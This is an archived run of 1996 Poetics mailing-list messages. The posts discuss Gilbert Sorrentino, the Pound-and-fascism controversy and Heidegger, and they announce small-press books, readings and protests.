I just want to say "yeah" to Jeffrey's comment too as well as Majorie. Sorry to be such a dumbell on the side!

tosh

↑ Index

492. **Gwyn McVay**
Re: something else
Wed 20 Mar 1996

I adore Sorrentino's _The Orangery_. That is precisely the kind of thing I find sexy, silly, liberating about the new or "querzblatz" kinds of poetics--You wake up in the morning and you REALLY LIKE ORANGE. So you write an entire book in which every poem mentions orange-the-color or orange-the-fruit. Bravo; my virtual hat is off.

Gwyn

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493. **chris daniels**
FW: another open letter
Wed 20 Mar 1996

--- On Tue, 19 Mar 1996 20:21:13 -0800 Thomas Bell <[redacted]> wrote:

> *chris-*
> *check out archives for the past month. A couple of other newcomers have expressed pleasure at their recption here. I'll join them in expressing my comfort here even though I am a complete ignoramus in regard to poetry politic's ins and outs. In my experience this is probably the most tolerant and friendly place online.*

> *tom bell*

just to say that i also feel very welcome here --- a few people were mean to me, i got pissed off --- that's all --- i have no problem w/ being asked to make my posting more efficient --- that's never been the point

i'm very glad to be on this list --- it's the first extended contact w/ literary people i've ever had --- out of the 400 or so subscribers, less than ten were nasty --- seems like good odds

there is much passionate intelligence here, and i repeat i am very glad to be a subscriber --- even though i am not the most elegant writer, and am w/o a doubt not a trained thinker, you have been taking what i have to say seriously and i have gotten some very kind words of support and encouragement from some of you --- poets and critics alike --- whose work i has filled me w/ awed delight for twenty years or more --- i am moved and very grateful --- so please don't think i'm fuming or holding a grudge

later ---

chris
---
christopher daniels <[redacted]> 3.20.96 1:24:15 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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494. **R I Caddel**
Bunting / Military Intelligence
Wed 20 Mar 1996

Yes, Bunting worked for British Military Intelligence in Persia during WWII, and you may share my view that MI is nearly always "shady" or "suspect". We can actually confirm very little of what he did, since the Military won't release the records. It's known that there was an attempt to contact the remote tribes, to prevent German (and subsequently Soviet) intelligence from "destabilising" the

region. And it's also evident that whilst he was Vice-Consul of Isfahan he did a lot of travelling to remote areas to meet such tribes (and had a wonderful time). Therefore there's an assumption that he was actually making diplomatic contact as part of said attempt. A sort of "Greenmantle" - and very typical of British Intelligence to be one war behindhand.

"Military Intelligence" is another of those terms like "English Cuisine" isn't it - doesn't stand much examination...

RC

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495. **Schuchat**
something else
Wed 20 Mar 1996

What does the list have to say about Gilbert Sorrentino's work?
(How) does he fit in?
Is his poetry read? His prose?

↑ Index

496. **Pierre Joris**
Re: Pound, fascism, etc.
Wed 20 Mar 1996

Bravo for Jerry's & Jackson's messages re Pound: they should lay that question to rest or at least make it clear that one cannot dismiss work of the order of Pound's because of the man's failings. I was about to post Julian Beck's poem, when Jerry did so, as that poem embodies for me the kind of vigilance we should all strive for, as citizens & writers.

Olson said, liberatingly, that space / geography is the essential characteristic of the US, but the unhappy concommittant seems to be a flattening out of history: from the various messages re Pound I get a strong sense of a lack of historical perspective -- as if all events were synchronic -- so that hindsight gets construed as clarity of vision -- & used to condemn those who in their time, the twenties & the thirties, in this case, messed up, aligning themselves with what they percieved as revolutionary positions -- on the right & on the left -- which both ended in totalitarianisms.

'nuff said, except that for those interested I'd like to point to a few books that can help clarify matters (unhappily as far as I'm aware, they are not translated into English yet):

Jean-Pierre Faye's masterful "Langages Totalitaires" (Hermann, Paris 1973): an analysis of how the discursive modes of national-socialism/ nazism came about, evolved from the various strains of nationalist, socialist, jungdeutsch & many other discourses. A historical semantics that should interest any poet.

Zeev Sternhell, _Ni Droite, Ni Gauche: L'ideologie Fsciste en France- (Editions du Seuil, 1983, reprinted 1987 by Editions Complexe) There are a number of Sternhell's essays available in English, for ex. "Fascist ideology," in Walter Laqueur, ed. _Fascism: A Reader's Guide_ (UCP, Berkeley 1976).See also his book _La Droite Revolutionnaire: Les origines francaises du fascisme 1885-1914 (Seuil 1984).

In the 1930s George Bataille spoke of "the fascist temptation" that the intellectuals & artist of his time had to contend with: some of his work (like the essay on the prefix "sur") are essential reading. Important also is the work done & ongoing around Maurice Blanchot's 30s antisemitic writings (Jeffrey Mehlman's _Legacies of Anti-Semitism in France_; Alice Yaeger Kaplan's _Reproductions of Banality: Fascism, Literature, and French intellectual life_,among others, are important to get a grasp on that period).

As we approach the millennium, making this century "history," we have to keep worrying it, we have to try to understand not only what went wrong, but why & how. It's not a question of either forgetting or forgiving what has happened: we must neither forget nor forgive anything that happened.

Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

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497. **Pierre Joris**

Re: Heidegger

Wed 20 Mar 1996

Dear Jackson -- thanks for your thoughtful postings re both EP & Heidegger. As far as the latter is concerned, I cannot, however, agree with your sense that he repudiated nazism -- ever (he remained, for example, a card- & lapel-pin-carrying member in good standing of the nazi party until 1945, something there was

absolutely no need for him to do). On the question of H's politics, Krell's intro is something of a whitewash. In the late 80s, when the Heidegger shootout at Sorbonne Corral was in full swing I wrote an essay covering the books (from Farias to Lyotard's) on that question, & also looking at Heidegger's practical application of his ideology & thought, i.e. what he actually did when in a position of power at the university. I never published the piece & it's too long to post here (30+ pages), but if you wld like to see it, I'll be happy to backchannel the thing. If other people are interested I cld also cut it up into three parts & post those to the list &/or post it on my epc author page.

Certainly Heidegger's problems after he abdicated the rector position are no proof of his opposition to the nazi regime. If there is one interesting conjecture in Victor Farias's book, it is the suggestion that the ultraconservative agragrian origins of H wld make him more sympathetic to the SA than to the SSS. This would indeed explain a lot, but all the info we need to judge isn't in yet.

The recently published paraphrase of the Arendt/Heidegger correspondance is a disastrous & disappointing job. At any rate, I can't take Arendt's continued involvement with Heidegger as in any sense a proof that Heidegger had abandoned or changed his ideological views. Paul Celan who visited him in July 1966 left disappointed, if not disgusted, & recorded the negativity of the visit in his poem TODTNAUBERG. (have an essay on that encounter too, CELAN/HEIDEGGER:TRANSLATION AT THE MOUNTAIN OF DEATH, if you're interested)

Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

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498. **Pierre Joris**
Re: something else
Wed 20 Mar 1996

On Wed, 20 Mar 1996, Gwyn McVay wrote:

> I adore Sorrentino's _The Orangery_. That is precisely the
> kind of thing I find sexy, silly, liberating about the new

> or "querzblatz" kinds of poetics--You wake up in the morning
> and you REALLY LIKE ORANGE. So you write an entire book in
> which every poem mentions orange-the-color or
> orange-the-fruit. Bravo; my virtual hat is off.
>
> Gwyn
>
& I adored _Imaginative Qualities of Actual Things_ (among other Sorrentino works) but that one so much that I even got the hard-cover in those hard-pressed days, which Ted Berrigan then borrowed sometime in 1975 & is, I hope, still chuckling over whenever the angel choirs are getting to dull & his buddy Frank is catching a nap. -- Pierre

↑ Index

499. **Joe Amato**
Re: something else
Wed 20 Mar 1996

---

one thing perhaps directly pertinent to this list re sorrentino: his admiration for jack spicer's poetry... i recall a 'review' he did---early 70s?---of spicer's poetry, how important he thought it was... mebbe kevin or somebody can give the reference, i've forgotten it...

anyway, as to sorrentino's writing per se, YES, surely an innovator, well-worth checking out...

as is charles a.!---charles, i really enjoyed your first poem 'for ron silliman'!...

joe

↑ Index

500. **Henry Gould**
Re: Heidegger
Wed 20 Mar 1996

On Wed, 20 Mar 1996 10:14:39 -0500 Pierre Joris said:
>Heidegger had abandoned or changed his ideological views. Paul Celan who
>visited him in July 1966 left disappointed, if not disgusted, & recorded
>the negativity of the visit in his poem TODTNAUBERG. (have an essay on
>that encounter too, CELAN/HEIDEGGER:TRANSLATION AT THE MOUNTAIN OF DEATH,
>if you're interested)

There is also some discussion of this in Felstiner's new book "Paul Celan".

On this whole issue of Pound et al., I think Ron Silliman's post remains the most interesting. "We are the problem." I read recently that the Scottish philosopher Hume developed a view that sympathy is the bond of social peace; he wrote an essay on "the pleasures of tragedy" specifically to criticize the self-righteousness of religious forces in his country which were attacking cultural values, theater, etc.

It seems to me we all tend to talk too glibly about "forgetting and forgiving" or "remembering and condemning", as if these were somehow group efforts that can be invoked by social decree. In my view there is an individuality in all these acts of reading & judgement; we respond to an incredible range of things when we read or listen to poetry. An awareness of the historical & political background just deepens our response & heightens the hunger for alternatives or revisions - it is ethics in action, ethos being formed, even if we'd rather not deal in such stuffy vocabulary. - Henry Gould

↑ Index

501. **Daniel Bouchard**

Re: Sorrentino

Wed 20 Mar 1996

Joe wrote:

one thing perhaps directly pertinent to this list re sorrentino: his admiration for jack spicer's poetry... i recall a 'review' he did---early 70s?---of spicer's poetry, how important he thought it was... mebbe kevin or somebody can give the reference, i've forgotten it...

This essay is part of the SOMETHING SAID collection of essays published in the early 80s by. . . North Point? It also has worthwhile essays on Zukofsky, Neidecker, Oppen, Reznikoff, Rexroth and many others. Unfortunately it's out of print now but I bet the Dalkey Archive picks it up soon.

I read Spicer after reading the IMAGINATIVE QUALITIES OF ACTUAL THINGS and recall thinking what a debt that novel owes to Spicer. It's very good; very funny.

His recent novel RED THE FIEND (1995) is also worth checking out (as is all his work while I'm mentioning it).

[redacted]

↑ Index

502. Aldon L. Nielsen
Re: Update on Billy Higgins
Wed 20 Mar 1996

L.A. Times 3/20/96

Jazz great Billy Higgins received a successful liver transplant on Monday at the UCLA Medical Center and was listed in stable condition. "He's just fine. The new liver started working immediately," said Higgins' wife, Gina, who requested no phone calls to Higgins at the hospital for the time being.

↑ Index

503. Peter Larkin
Thomas A Clark
Wed 20 Mar 1996

Dwellings and Habitations is still in print, and North American orders (paying in dollars) can be sent to Paul Green. Full details appear under Small Presses on the EPC web pages. Thank you, Charles Alexander, for airing a few quotes from it. In case of any difficulty, members of this list are welcome to contact me direct.Peter Larkin Philosophy & Literature Librarian University of Warwick Library,Coventry CV4 7AL UK Tel:01203 524475 Fax: 01203 524211 Email: [redacted]

↑ Index

504. Charles Alexander
Re: poems
Wed 20 Mar 1996

> *CERYTAIN SUHLANTS TWO for Ron Silliman*
>
> *this*
>
> *is quite simply exhilerating.*
>
> *thanks charles*
> *love and love*
> *cris*

thank you, cris

Seems like some poems on the poetics list are called for once in a while, at least, even though I have been following the pound/fascism and other discussions with interest, too. but I've also been doing a lot of new work and wanted to share some. such responses as yours are great to hear.

love & love
charles

↑ Index

505. Christopher J. Beach
Re: Pound, fascism, etc.
Wed 20 Mar 1996

I have tried to stay out of the fray on this whole Pound thing (having already said my two cents worth in my book), but now that things have died down a bit, I'd just like to add my thanks to Ron Silliman, Marjorie Perloff, Jerry Rothenberg, and Jackson Mac Low (among others) for the insightful and informational comments. For those who would "bury" Pound, I think we need to remember that if it weren't for Pound, and his influence on the course of avant-garde/ experimental/ innovative American poetry, we might not be having the conversation or this list at all.

Christopher Beach

↑ Index

506. Bill Luoma
Tim Davis & Stephen Rodefer Read
Wed 20 Mar 1996

Tim Davis & Stephen Rodefer

read at Biblio's on Sun March 24 @ 5:00pm

317 Church St, 1 blk below canal, Manhattan, NY

↑ Index

507. Maria Damon
Re: Heidegger
Wed 20 Mar 1996

pierre: i for one wd be interested in seeing your longish heidegger essay: 128 racing beach ave., falmouth ma 02540, if you decide against posting it in 3 parts... bests, maria d

↑ Index

508. Franklin Bruno
Request for addresses
Wed 20 Mar 1996

Hello, this is my first post. Could whoever publishes Witz please re- post (or backchannel) ordering information? I wrote down the address but not who to make out the check to, and I can't find the original post. Sorry. Also, could someone post information (address, price) for lyric&? I've read of this several places but can't find it anywhere, even, say SPD.

Switzerland: brand new edition of Robt. Smithson's writing, w/ several unpublished interviews.

thanks in advance,
Franklin Bruno, henceforth:
fjb

↑ Index

509. Christopher Reiner
New Laura Moriarty Book
Wed 20 Mar 1996

.....a short commercial break.....

New from Avec Books

Symmetry
by Laura Moriarty

Winning manuscript of the Gerbode Foundation Awards in Poetry selected by Robert Creeley

"If poems can be profoundly emotional--illuminating the persistently difficult zero of experience--these poems are. Precise, compelling, moving, simple, yet in places skirting the edges of what can be said, the writing in _Symmetry_ feels absolutely necessary. Its toughness, honesty and eyes-open confrontation with the unnameable may make you weep." --Norman Fischer

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AVEC WWW: http://www.crl.com/~creiner/syntax/avec.html

↑ Index

510. Douglas Messerli
Sun & Moon competitions
Wed 20 Mar 1996

Sun & Moon Press is pleased to announce its competition winners of 1995

The New American Poetry Competition was judged
this year by Bruce Andrews

The winner is: METROPOLIS, by Rob Fitterman

The New American Fiction Competition was judged
this year by Sun & Moon Publisher, Douglas Messerli

The winner is: POSSESSED BY A DEMON, by Elana Greenspan

Both titles will be published in Sun & Moon Poetry and Fiction Series in 1997.

Contgratulations to the writers whose manuscripts were chosen. We also want to express our appeciation to the many other excellent writers who participated in the 1995 competitions.

Sun & Moon is now reading manuscripts for the 1996 competitions. Please send a full poetry or fiction manuscript with your name on the cover sheet only along a $25.00 fee (which goes toward the publicaiton of the winning titles) to Sun & Moon Press, 6026 Wilshire Boulevard, Los Angeles, CA 90036 Manuscripts are accepted from January 1, 1996 to December 30, 1996.

Last year's New American Poetry Competition winners, NOON, by Cole Swensen and POLYVERSE by Lee Ann Brown are announced for publication in the Fall of this year.

↑ Index

511. Christopher Reiner
New WITZ
Wed 20 Mar 1996

Dear POETICS folks:

The new issue of WITZ is now available. It features an essay on Robert Grenier's new work by Stephen Ratcliffe, a piece on bpNichol by Carl Peters, a

review of Stephen-Paul Martin's _Fear and Philosophy_ by Andrew Joron, a review of David Bromige's _Tiny Courts_ by Douglas A Powell, a review of Kevin Connoly's _Asphalt Cigar_ by Clint Burnham, and some brief reviews by Susan Smith Nash.

For those of you who are familiar with WITZ, the format is now a
little different. The journal is 8" x 5", 40 pages,
saddle-stitched.

Also, for those of you who have been getting WITZ as members of Syntax Projects for the Arts, the journal is now its own, independent publication. Your subscription ended with the previous issue. I hope you'll resubscribe to the "new" WITZ.

Subscription information:
$10 U.S. (individuals)
$30 U.S. (institutions)
Checks should be made payable to Christopher Reiner

WITZ
12071 Woodbridge Street
Studio City, CA 91604

Back issues are also available, contact me for a list.

Also, if you'd like send an essay or review for consideration, I'd be happy to see it. Please include an SASE. I'll be posting a more detailed call for submissions in the near future.

Thanks,
Christopher Reiner
[redacted]

↑ Index

512. Douglas Messerli
Re: something else
Wed 20 Mar 1996

Sun & Moon has just republished THE ORANGERY by Gil Sorrentino. I think he's a great poet, highly unread, underappreciated, and neglected. In part that's a phenomenon of his fiction receiving so much attention with the publication of MULLIGAN STEW and ABBERRATION OF STARLIGHT. But that is, in my opinion, unfor- tunate. He's an excellent poet, full of wit and leaps and good language.

His prose, almost all republished now by Dalkey Archive Press, is respected, I think, more than read. He's excellent there also. Obviously, I'm a fan.

Douglas M

==========

At 09:03 PM 3/20/96 +0800, you wrote:
>What does the list have to say about Gilbert Sorrentino's work?
>(How) does he fit in?
>Is his poetry read? His prose?
>

↑ Index

513. Wendy Battin
Carl Phillips reading
Wed 20 Mar 1996

Ed,
agreed on the Carl Phillips book. For anyone in the Boston area, Phillips will be reading at MIT on April 4, 7:30 at Bartos Theater. also Lloyd Schwartz, on the same program. Stop in & say hi.

Wendy

Edward Foster wrote:...
>never know, and in fact book and poet turned out to be pretty terrific,
>so i pass this on. the writer is carl phillips and the book is cortege.
>yes, there is a great respect for convention and finish, but the poems
>are authentic and some are quite strong: see, for example, "the reach."
>or look at "toys," for example; not as fine as "the reach," i think, but
>it puts that old chestnut, roethke's "dolor," to shame. oh, that's not
>fair: roethke's poem is good; still, Phillips's is better. ....

Wendy Battin
[redacted]
[redacted]
Contemporary American Poetry Archive
http://camel.conncoll.edu/library/CAPA/capa.html

↑ Index

514. **Peter Quartermain**
Re: SPT: Island of Lost Souls
Thu 21 Mar 1996

Yes. I second that suggestion / question. Us po' Canadians too?

Emily Lloyd wrote:
>God, Kevin, sounds like a riot. Is there any way for po' easterners to get
>a look at the script? e
+ +
Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

↑ Index

515. **Christopher Reiner**
Re: New WITZ
Thu 21 Mar 1996

Oops...forgot to say that a subscription to WITZ is for three issues.

--Chris

↑ Index

516. **Eryque Gleason**
Re: SPT: Island of Lost Souls
Thu 21 Mar 1996

---

and how about us po folk in the east but variously from the midwest and the awful san francisco burbs?
:)
-- e~q

> *Yes. I second that suggestion / question. Us po' Canadians too?*
>
> *Emily Lloyd wrote:*
> *God, Kevin, sounds like a riot. Is there any way for po' easterners to get*
> *a look at the script? e*
> +
> *Peter Quartermain*
> *128 East 23rd Avenue*

> *Vancouver*
> *B.C.*
> *Canada V5V 1X2*
> *Voice and fax:* [redacted]
>
> +

↑ Index

517. **cris cheek**
Re: Heidegger / H & Celan
Thu 21 Mar 1996

Hi Pierre, I'd like to read both pieces and e-mail in downloadable chunks is just fine - from the list or backchannel.

love and love
cris

↑ Index

518. **Ron Silliman**
Re: Jeanne McGahey
Thu 21 Mar 1996

Ed,

Wasn't Robert Barlow, the poet/anthropologist whom Olson was interested in while down in Mexico, also connected to McGahey & Hart? I got that newsletter in the 1980s and it was definitely a breath of the 1930s all over again.

I'm waiting for someone to rediscover Adelaide Crapsey.

Ron

↑ Index

519. **Ron Silliman**
Re: something else
Thu 21 Mar 1996

Simon Schuchat wrote:
>
>What does the list have to say about Gilbert Sorrentino's work?
>(How) does he fit in?
>Is his poetry read? His prose?
>
I've always been fond of his work. His omnibus poetry reviews were unique in the early & mid 60s for covering so much of what was

happening (collected now happily in Something Said). It was a genre that Poetry used a lot, but relatively few other mags and tho Gil seems to exported that mode for his own purposes, nobody else was really doing that during that period.

I like his poetry also, but have never really tried the novels. (I've had Mulligans Stew on the "to be read" pile since 1981.) The Orangery is a fine sequence.

I believe that Ted Pearson and Keith Shein had a pretty strong relationship with him and his work and might be the most active instances of its influence being carried forward. Haven't heard from Keith in some years (he's the tennis pro at Dominican College in San Rafael).

Tho Sorrentino has been at Stanford for years, he's never been active in the SF scene at all. (I recall mentioning that I'd never seen him even tho we'd lived in the same area for years and a Stanford student -- I forget whom, possibly Ty Miller -- saying that he'd never seen him either).

Ron Silliman

↑ Index

520. Jordan Davis
bodenheim
Thu 21 Mar 1996

Since it's been an issue lately among the talkers, and since I'm certain it's on the minds of more than a few lurkers, could somebody connected with the list just come out and say what the rules are. I ask this, knowing very well that "rules" are undesirable on notebook paper.

So far, I've come up with:

Don't reify.
Announce books.
Ask questions.
Rescue lost writers.

Probably the chief rule is "announce books".

Rushing in,
Jordan

↑ Index

521. **Kevin Killian**
Re: Jeanne McGahey
Thu 21 Mar 1996

Dear Ron, I always find "tone" the most difficult thing to judge in e mail, and forgive me if I'm wrong but when you say, as you did in response to Ed Foster's Jeanne McGahey post, "I'm waiting for someone to rediscover Adelaide Crapsey," it sounds almost sarcastic. If so this is not *becoming* especially from you, the man who is always pissing and moaning about this or that poet having been "disappeared."

Say it ain't so Joe! Love, Kevin K.

↑ Index

522. **Douglas Messerli**
Re: Pound & Fascism
Thu 21 Mar 1996

Brilliant comments, as always, Marjorie!

Douglas Messerli

==========
At 08:48 AM 3/19/96 -0800, you wrote:
>Even as so many members of this list are excoriating Pound, we have,
>right now, a fascist in our midst named Pat Buchanan who has managed to
>get 30% of the Republican Primary vote even though (or perhaps because
>of) he makes open statements that are antisemitic, homophobic, and
>racist. Just the other day on TV (maybe CNN) a farmer in Georgia was
>being interviewed as to who he was planning to vote for. He said, "I
>think I'll vote for Pat Buchanan because he feels the way I do about the
>niggers." This on CNN. This is the world we live in--a world where many
>could hardly believe Furman said the "N word" and yet Buchanan gets away
>with this every day.
>
>So I think if you want to fight Fascism you have to begin at home.
>
>But as for Pound, I think many of the postings here have been quite off
>the mark. Reading Walter Benn Michaels' OUR AMERICA, about racial
>attitudes and nativism in the 20s, I was reminded what a horrible
>anti-semimite dear old Ernest Hemingway was, with that charming portrait
>of Robert Cohen in SUN ALSO RISES. It has recently been shown how
>anti-semitic HD was, in her notebooks for TRIBUTE TO FREUD. In fact,
>anti-Semitism and racism were as Michaels's shows, part and parcel of 20s

>postWWI culture. Very few writers escaped it. We have to try to
>understand why and not say let's get rid of Ezra Pound, who also happens
>to be one of the greatest poets of the 20th C.
>
>I still believe--and I speak here as a refugee from Hitler whose family
>fled the morning of the Anschluss (March 12, 1938) of Austria--that
>Pound's "fascism"--most of it completely nonsensical, juvenile, and
>failing to understand how government works--was not nearly as dangerous
>as Heidegger's willed, conscious, perfectly "reasoned" Fascism. to read
>what Heidegger did at his own university in order to get rid of
>colleagues who might have Jewish blood boggles the mind. And then
>there's Paul de Man. As Eliot Weinberger wrote in SULFUR some years ago,
>Pound's iniquities are not on the same scale because who the hell
>listened to Pound's message?? Whereas Heidegger/de Man influenced
>generations of students.
>
>Jerry McGann has an essay in CRITICAL INQUIRY (a few years back) where
he
>makes an eloquent case for the Cantos as the tragic poem of the 20th C in
>that it sums up so many of the terrible ideologies, anxieties, prejudices
>around. To call it tragic may go too far, but Jerry is right. And
>without the Cantos, I maintain there would have been no Black Mt, no
>Objectivism,no Ethnopoetics (Rothenberg) and performance poetry like Mac
>Low's, and so on down the line. So to say, as some people have on this
>list, let's just get rid of Pound, is ridiculous.
>
>And if you only read people whose ideology you approve of, who shall
>'scape whipping? What about a Stalinist like Neruda? Is he to be
>totally excused for supporting his Dictator? Shall we not read Wyndham
>Lewis, a worse fascist than Pound but also an incredible writer? Let's
>see, who's left? What about the homophobic, antisemitic passages in
>Baraka? And so on.
>
>It all comes back to the vexed question about the relation of poetry to
>politics and that's a question that should be hotly discussed in a larger
>theoretical way than it is today. Robert Duncan has wonderful comments
>on the issue in his correspondence (not yet published) with Denise
>Levertov. But whatever the relationship, it can't be Love my Politics,
>love my poetry.
>
>

>Marjorie Perloff
>

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523. Robert Drake
Re: bodenheim
Thu 21 Mar 1996

> *Since it's been an issue lately among the talkers, and since I'm certain it's on the minds of more than a few lurkers, could somebody connected with the list*

we're all connected with the list...

> *just come out and say what the rules are. I ask this, knowing very well that "rules" are undesirable on notebook paper.*

but, of course, any community/language/conversation has "rules"; to have rules imposed & enforced from "above" i find undesirable, but to pretend they're nonexistant seems naive or worse. so, seems an positive step to articulate or acknowledge, as per:

> *So far, I've come up with:*
>
> *Don't reify.*
> *Announce books.*
> *Ask questions.*
> *Rescue lost writers.*

to which i'd add:

share enthusiasms
question author-ity
backchannel when addressing individuals rather than the whole list
encourage newcomers

sincere
lbd

↑ Index

524. Aldon L. Nielsen
Re: Sorrentino
Thu 21 Mar 1996

But where is Sorrentino's poetry since the old Black Sparrow _Selected_; Great to see his oranges back in print after all these years, but I know he must have written some more poems while churning out all that fiction--

??

for those new to this territory, in addition to the _Review of Contemporary Fiction_ Sorrentino issue, you may find in some libraries the old issue of _Vort_ dedicated to Sorrentino --

I first encountered him in Williams's _Paterson_ and have been reading ever since

↑ Index

525. **Kevin Killian**
SPT newsletter--has it arrived?
Thu 21 Mar 1996

This is Dodie speaking. Ms. Damon informs me she hasn't yet received her SPT newsletter. The bulk-mailing went out last week, and Bay Area people have received theirs. This is the first time I've bulk-mailed outside California. Has anybody else received/not received their newsletter? (This does not apply to those of you living outside the U.S.--yours went first class). Please backchannel me.

Thanks.

Dodie

↑ Index

526. **Emily Lloyd**
"Brilliant comments, Marjorie!"
Thu 21 Mar 1996

Insofar as a well-executed dose of common sense is brilliant, I wholeheartedly agree. e

~~~
~~~

528. David Kellogg
Re: praed
Thu 21 Mar 1996

I believe the 'rule' was to announce publications, not just books. Anyway, having no books, I've been announcing articles. Is this cool with our Miss Manerses?

Cheers,
David
~~~
~~~

With the kind of scholarship Rachel, for one, has done, new books and courses and lectures on modernism which barely hint at the work of non-male poets signify an active effort of obtuseness on the part of the authors.

Not certain about Crapsey, but... how about Emily Holmes Coleman? Emanuel Carnevali? Bob Brown, viva!

ciao.
Marisa

PS: How can I tell you there's a red-striped box elder beetle just to the left of the screen, wobbling his antennae at y'all? (But how can I not?)

↑ Index

530. **Marisa Januzzi**
Re: Sorrentino
Thu 21 Mar 1996

Pierre's message made me remember: I have to take a lot of personal credit for bringing IMAGINATIVE QUALITIES OF ACTUAL THINGS to the attention of Kenneth Koch, who apparently had no idea he figured there... I knew he'd love it from the classicKoch opening passage, and he did. Sorrentino blurbed one of KK's subsequent books.

MULLIGAN STEW is the classic, but I never got past the flyleaves.

You know, we have to do something to ensure that Dalkey Archive doesn't succumb to commercial pressures now that its main editorial God, Steven Moore, is leaving. ---Marisa (debeetled)

↑ Index

531. **Jeffrey W. Timmons**
UDC Protest
Thu 21 Mar 1996

I was wondering if anyone in the DC area could tell me (us) anything about the the protest at UDC this week. I looked in the NYT but saw nothing and being in Phoenix--notorious for its poor national news coverage--I feel out in the dark.

From what I understand congress had decided to cut their budget--which in effect meant that UDC would apparently no longer be able to keep up their accredidation. I don't know how this works so I'm hoping someone can explain this.

I know UDC has had problems in the past with its accredidation and its viability as a university, but it's--from what I understand as a parttime resident of DC--about the only place where those unable to afford the steep tuitions of most of

the area's universities can attend. Basically, the city kids who can't afford Georgetown (etc) go there.

Without accredidation . . . well you can imagine. When the admin found out the cut--and I am repeating this secondhand--they decided to give only pass/fail grades for this semeseter and to close down a month early. The students were outraged and blocked Connecticut avenue--a major street in NW DC--for most of a day this week, demanding that the cut not take place and that UDC would not close early.

From reports from my DC source there were police in riot gear, and so many of them that they were double the number of protesters.

Well congress caved in or something and acceded to their demands. Hooray! and here's to protest!

But again I'd like more details if anyone could fill me in.

I also want to draw everyone's attention to the vote today in the house that prevents "illegals aliens" from attending public schools. Newt himself seems to think this a great idea--since it "costs" taxpayers money to educate the brutes.

In response to this I thought it an appropriate protest to offer training/program/classes to any "illegals" [anyone really] in english language/writing skills who want it.

Denying the opportunity to anyone the right to read and write and read and learn it seems to me to be a fundamental denial of humanity--which it seems what this vote and the cut at UDC and the screwed up census count and the scaling back of affirmative action is all about. It's not that it costs money but that educating people is a threat. Reading writing learning are the biggest threat there is--and these events clearly say so.

Jeffrey Timmons

↑ Index

532. Charles Alexander
Umbrella and Disaster
Thu 21 Mar 1996

I'm forwarding this message from Judith Hoffberg, on the chance that any librarians or writers or others on this list might also know about and care about the artists' book journal Umbrella, and might want to know what has recently happened to it.

charles alexander

Date: Wed, 20 Mar 1996 23:10:15 -0800
Reply-To: "The Book Arts: binding, typography, collecting"
<[redacted]>
Sender: "The Book Arts: binding, typography, collecting"
<[redacted]>
From: Judith Hoffberg <[redacted]>
Subject: Umbrella and Disaster
To: Multiple recipients of list BOOK_ARTS-L
<[redacted]>
X-UIDL: 827439388.002

Dear Friends:

My computer was stolen last Thursday in mid-day as I went to pick up my mail. It was a vindictive and vengeful act on the part of my drug dealer neighbor--but I cannot prove it. The guys wore gloves! They only stole my computer and nothing else--the printer, scanner, monitor, computer and even the shell of the old computer which served as a pedestal for my monitor. I am numb inside. There is nothing left--they even took the last backup disk for my next issue of Umbrella, which was to have been in press as I write this. I have lost all my writing, my addresses both on the Net and off for 10 years and more, my correspondence, personal and business, for 10 years--and a great deal more. I am starting from square one--with some luck by having copied lots of data--but still, there are deadlines, subscribers, and so much more.

I am telling you all this to send the word around, please, that Umbrella will be late--very late--since I cannot produce it in a flash. It takes months of work--and the last three months I have been writing. Much of the original material for many of my columns has been thrown away--clippings, etc.--so a truncated issue will be forthcoming. I have gone into debt to buy a new system--without tools, what are you? At any rate, at this late stage of my life, I am beginning again--I am full of denial right now. And fatigued emotionally and overwrought, I shall try to reconnoiter and begin again. I beg you all to tell other Listservs for me--librarians, collectors, artists, curators, and book artists read Umbrella--even book dealers and friends do so too--but not enough of them to gather them in on one list-serv or any one group. So please pass the word around. And if any of you feel like helping Umbrella continue either by a subscription ($18) or a donation to help buy the computer equipment, I would be forever grateful. I wonder whether sometimes this is a sign--to anthologize and stop. But I have readers to satisfy and there is always much news.

Please send the word around that Umbrella will be late, because of a burglary that will probably never be solved. And so it goes.

Judith A. Hoffberg
[redacted]
P.O. Box 3640
Santa Monica, CA 90408
tel: [redacted]
fax: [redacted]

↑ Index

533. **Joe Amato**
Re: Jeanne McGahey
Thu 21 Mar 1996

---

it ain't so, kevin!...

joe

↑ Index

534. **Gabrielle Welford**
FREE PELTIER (fwd)
Thu 21 Mar 1996

FREE LEONARD PELTIER

On March 20, 1996 in San Francisco about 300 people met at the Federal Building at about 7 AM to support a civil disobedience protest to free Leonard Peltier. His parole was denied. There was drumming, speeches and free oatmeal and bagels. There were many signs saying Free Peltier Now! FREE ALL POLITICAL PRISONERS, 20 YEARS IS ENOUGH - FREE LEONARD PELTIER NOW. Two rows of federal police totaling about 30 in all stood across the plaza blocking the entrance to the Federal Building at 450 Golden Gate Ave. Police barricades and a chain link fence made it so there was only a small entrance to the Golden Gate Avenue side of the building. The Federal Protective Service video taped everyone. He even spent time taping a child drawing with chalk on the side walk. The protesters marched to Market and Van Ness where 27 people sat in a circle and stopped traffic in two directions. The civil disobedience action was peaceful even though several people went limp when the police arrested them. When everyone was arrested they followed the drum up Market to Larkin and back to the Federal Building. The protest to free Leonard Peltier ended with a dance to free all political prisoners. Only Channel 2 and an unmarked TV camera showed up when the traffic was blocked. It seemed that no reporters and KCBS were the only corporate media, As for our media it was extensive. Four or five activists video taped the action. Karen Pickett and two other people taped event for Free Radio Berkeley, Free Radio Santa Cruz had at

